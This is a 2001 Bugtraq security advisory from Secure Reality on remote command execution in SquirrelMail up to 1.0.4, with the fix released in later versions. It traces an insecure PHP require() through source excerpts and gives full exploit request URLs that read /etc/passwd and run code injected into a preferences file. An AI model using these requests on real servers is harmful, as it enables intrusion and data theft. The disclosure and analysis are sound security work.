From shaman@optushome.com.au Tue Jul 3 01:57:09 2001 From: Shaun Clowes To: bugtraq@securityfocus.com Date: Tue, 3 Jul 2001 00:41:53 +1000 Subject: (SRADV00010) Remote command execution vulnerabilities in SquirrelMail [The following text is in the "iso-8859-1" character set] [Your display is set for the "US-ASCII" character set] [Some characters may be displayed incorrectly] ================================================= Secure Reality Pty Ltd. Security Advisory #10 (SRADV00010) http://www.securereality.com.au ================================================= [Title] Remote command execution vulnerabilities in SquirrelMail [Released] 2/7/2001 [Vulnerable] Versions up to and including 1.0.4 [Overview] SquirrelMail is an amazingly easy to use, good looking and functional web mail system written in PHP. In versions specified SquirrelMail makes insecure calls to the PHP function include(). Installations of the versions specified are vulnerable to attacks in which the attacker gains the ability to execute arbitrary commands (and code) on the remote web server with the permissions of the web server user, typically 'nobody'. [Impact] Remote command execution (with privileges as above) [Detail] Please note that this vulnerability was discussed in detail at the Black Hat Briefings in Hong Kong and Singapore in Asia 2001. At some stage, Powerpoint presentation notes and audio/video of the presentation will become available at http://www.blackhat.com. Note also that this description will be best understood (and is released in conjunction with) our new paper "A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications" which can be downloaded from http://www.securereality.com.au/archives.html As with all the advisories released in conjunction with the paper above I'm going to describe this problem in gross detail, from finding the hole to exploiting it (sidestepping various annoying barriers along the way). The problem is initially spotted with a trivial grep of the source. The following line of code in load_prefs.php seems suspicious: 39 require("$chosen_theme"); The require() function tells PHP to read in the file specified in the variable $chosen_theme and interpret it as though it were PHP code. If the attacker can affect $chosen_theme (with form input) they may be able to point this at sensitive local files (e.g /etc/passwd) and have them returned or even worse, have their own PHP interpreted which allows them to run arbitrary code. Looking higher in the file we get a feel for what load_prefs.php is meant to do: 8 ** Loads preferences from the $username.pref file used by almost 9 ** every other script in the source directory and alswhere. Ok, so its a file that is typically include()d by other PHP scripts that loads the users preferences (where user is determined by $username). This is looking really good. This file is a library code file, its not ever meant to be requested by a remote user, but it has the correct extension (.php) to be parsed as PHP code so a remote attacker can request it. Scripts like this are typically low hanging fruit since the fact that they're meant to be included by other scripts often means they have a certain 'context' they're meant to work in. Without this context they're often easy to exploit. Looking from the top of the file at various housekeeping code: 14 if (!isset($config_php)) 15 include("../config/config.php"); 16 if (!isset($prefs_php)) 17 include("../functions/prefs.php"); 18 if (!isset($plugin_php)) 19 include("../functions/plugin.php"); 20 21 $load_prefs_php = true; 22 if (!isset($username)) 23 $username = ''; 24 checkForPrefs($data_dir, $username); Ok, lines 14 to 19 are interesting. The code tries to determine if its environment has been well established (that is, important code this page relies upon has already been included). However, this is not a secure way to determine if the environment has been well constructed, an attacker can cause $config_php, $prefs_php or $plugin_php to be set by submitting them as form variables and thereby cause the required code not to be included. Having tried to construct a sane environment the code goes on to set a flag indicating it has been included (later scripts check this variable before trying to include it, in the same way that it checks for config.php etc). Th e code then goes on to insure that $username is set to something (note that no code to authenticate $username is evident yet). The script then calls checkForPrefs with $data_dir (which is a configuration variable normally set in config.php) and $username (the unauthenticated user the remote requestor is claiming to be). checkForPrefs() is a function defined in ../functions/prefs.php. The following is the relevant code: 116 /** This checks if there is a pref file, if there isn't, it will 117 create it. **/ 118 function checkForPrefs($data_dir, $username) { 119 $filename = "$data_dir$username.pref"; 120 if (!file_exists($filename)) { 121 if (!copy("$data_dir" . "default_pref", $filename)) { 122 echo _("Error opening ") ."$filename"; 123 exit; 124 } 125 } 126 } Interesting. When Squirrelmail is first installed the user needs to configure a data directory (that must be writable by Squirrelmail). Squirrelmail stores attachments to be downloaded, address book details and user preferences in subdirectories of this directory. This code takes the unauthenticated username and checks if a preferences file exists for this user, if it doesn't its created. This will come in very handy later on. So back in load_prefs.php: 26 $chosen_theme = getPref($data_dir, $username, "chosen_theme"); 27 $in_ary = false; 28 for ($i=0; $i < count($theme); $i++){ 29 if ($theme[$i]["PATH"] == $chosen_theme) { 30 $in_ary = true; 31 break; 32 } 33 } 34 if (!$in_ary) { 35 $chosen_theme = ""; 36 } This code reads the users preference of 'theme' (Squirrelmail has a themeable user interface) into $chosen_theme. It then loops through the $theme[] array and determines if $chosen_theme matches one of those themes. If it doesn't its set to nothing. The $theme array is an array of valid themes set in config.php: 46 $theme[0]["PATH"] = "../themes/default_theme.php"; 47 $theme[0]["NAME"] = "Default"; 48 $theme[1]["PATH"] = "../themes/plain_blue_theme.php"; 49 $theme[1]["NAME"] = "Plain Blue"; 50 $theme[2]["PATH"] = "../themes/sandstorm_theme.php"; 51 $theme[2]["NAME"] = "Sand Storm"; 52 $theme[3]["PATH"] = "../themes/deepocean_theme.php"; 53 $theme[3]["NAME"] = "Deep Ocean"; 54 $theme[4]["PATH"] = "../themes/slashdot_theme.php"; This makes it all look much harder, an attacker can have a preferences file created (checkForPrefs() does that), but what then? They need to be able to change their "chosen_theme" preference to effect the require() we noted at the start of all this but if its not set to an element of the theme array (of which none are interesting) it'll just be unset. As it turns out it takes a rather convoluted path to modify the preferences file chosen_theme without authenticating. It should be clear how you could do so by the end of this advisory however. Anyway, there's much jucier lines of attack if we look further into load_prefs.php. 38 if ((isset($chosen_theme)) && (file_exists($chosen_theme))) { 39 require("$chosen_theme"); 40 } else { 41 if (file_exists($theme[0]["PATH"])) { 42 require($theme[0]["PATH"]); 43 } else { Ignoring the chosen_theme we spot the $theme[0]['path'] code. This should stick out like a sore thumb. Recall that the theme array comes from the config.php file. This file is include()d at the beginning of load_prefs.php but ONLY if $config_php is not configured. So the immediately obvious attack is to set the following as form input: username = evilattacker config_php = true theme[0][PATH] = /etc/passwd Which presumably return the password file to the attackers web browser. Unfortunately this attack is foiled and typically results in an error message something like 'Fatal error: Call to undefined function: _() in /home/html/squirrelmail-1.0.4/functions/prefs.php on line 122' is generated. This is caused by the checkForPrefs() routine. It's checking if the user's preference file exists (as we saw earlier) but because we caused config.php not to be included when it constructs the filename of '$data_dir$username.pref' it ends up with just '.pref'. Since this is a file in the root directory it will never be found so it tries to create it and when this operation fails the script aborts. The attacker now needs to provide the $data_dir variable themselves. It should be hard for an attacker to guess the location but unfortunately one of the scripts leaks this information. Looking at the script options_display.php: 19 if (!isset($page_header_php)) 20 include('../functions/page_header.php'); This is just one of the includes specified at the top of options_display.php (which normally displays a users preferences). Its performed before any sort of authentication. In the file page_header.php (which fairly obviously normally provides a standard header for all the pages): 21 // Check to see if gettext is installed 22 $headers_sent=set_up_language(getPref($data_dir, $username, "language")); The above lines of code try to setup the language of the user. The call the following code from prefs.php: 13 function getPref($data_dir, $username, $string) { 14 $filename = "$data_dir$username.pref"; 15 if (!file_exists($filename)) { 16 printf (_("Preference file %s not found. Exiting abnormally"), $filename); 17 exit; 18 } Looking at the above, before any authentication the page looks for '$data_dir$username.pref', if that isn't found it nicely tells us the file it was looking for but couldn't find. So, if an attacker requests the page without any username specified at all they receive a message like 'Preference file /var/squirrelmail/data/.pref not found. Exiting abnormally'. $data_dir is obviously the bit before '.pref'. The above makes the attack specified earlier possible with the following input: username = evilattacker config_php = true theme[0][PATH] = /etc/passwd data_dir = If an attacker makes a request like http:///squirrelmail-1.0.4/src/load_prefs.php?username=evilattacker&co nfig_php=true&theme[0][PATH]=/etc/passwd&data_dir=/var/squirrelmail/data/ they get a copy of the remote machines /etc/passwd file delivered to their web browser. Presumably they're not going to be happy with just this level of access and would like to further exploit the problem to gain remote command execution privileges. This would normally be a relatively trivial exercise since the attacker can pick any file they wish on the remote machine and have it interpreted as PHP code. Note that we can't use a remote files attack here because the code does a file_exists() on the file before including it and file_exists() does not work with the PHP remote files functionality. The attacker just needs to get code of their chosing into a file on the remote machine. As discussed in 'A Study In Scarlet' there are many ways to do this. My first attempt used file upload but it failed as there appear to be some weird bugs in my version of PHP (4.0.4pl1) with uploading a file into a field with a two dimensional array name, this may well have been fixed since then. Anyway, trying to be general the attacker will look for an alternate way to get code into a file on the remote machine. I chose the most obvious avenue, the preferences file. Squirrelmail has been kind enough to create this file for us, its been kind enough to tell us which directory its in too so we know its absolute filename. The file looks like the following: full_name= reply_to= chosen_theme=../themes/plain_blue_theme.php show_num=25 wrap_at=86 editor_size=76 left_refresh=None language=en location_of_bar=left location_of_buttons=between order1=1 order2=2 order3=3 order4=5 order5=4 order6=6 All we need to do is get PHP code into this file without being forced to authenticate. This ability is provided by the options_order.php script. options_order.php normally allows a user to specify the order in which key fields of an email (Subject, From, To etc) they'd like displayed and in what order they should be displayed. As can be seen above each field is identified by a field number (order='. However options_display doesn't go to any real effort to verify what a user inputs: 83 } else if ($method == 'add' && $add) { 84 $index_order[count($index_order)+1] = $add; 85 } 86 87 if ($method) { 88 for ($i=1; $i <= count($index_order); $i++) { 89 setPref($data_dir, $username, "order$i", $index_order[$i]); 90 } 91 } If the form input contains a 'method' variable set to 'add' the script assumes the user has decided to include another field in the display. The then adds the field to the end of the list of fields to be displayed by placing its number (which it assumes is in $add) to the end of the preferences list. The problem is that $add is a form variable that is normally set via a drown down list in the preferences page to a valid field number but if an attacker ignores the form and sets it themselves it can easily be anything. Once the new field has been added all the fields are saved in the preferences file. An attacker can therefore specify something the following input and have PHP code written to a known file: username = evilattacker method = add add = " the code is written to '$data_dir$username.pref'. Now the attacker can execute the same attack as specified above to retrieve the password file to execute the code they just sent. The following request: http://server/squirrelmail-1.0.4/src/load_prefs.php?username=heyheyhey&confi g_php=true&theme[0][PATH]=/var/squirrelmail/data/evilattacker.pref&data_dir= /var/squirrelmail/data/ would then result in a listing of the /etc directory being returned to the attacker in their web browser. Obviously any command could be specified and further exploit code could be uploaded and executed as described in 'A Study In Scarlet'. As always with PHP there are many caveats to the attacks details in this advisory based on PHP configuration and version. I'm not going to go into detail discussing those here. Suffice to say this is a bug and it is usually exploitable. [Fix] Later versions of SquirrelMail correct this problem. Please download a version above 1.0.5 from: http://www.squirrelmail.org [Acknowledgements] Our thanks to Luke Ehresman, Gustav Foseid and all the Squirrelmail developers for their professional manner in confirming and fixing this problem. [Disclaimer] Advice, directions and instructions on security vulnerabilities in this advisory do not constitute: an endorsement of illegal behavior; a guarantee that protection measures will work; an endorsement of any product or solution or recommendations on behalf of Secure Reality Pty Ltd. Content is provided as is and Secure Reality Pty Ltd does not accept responsibility for any damage or injury caused as a result of its use.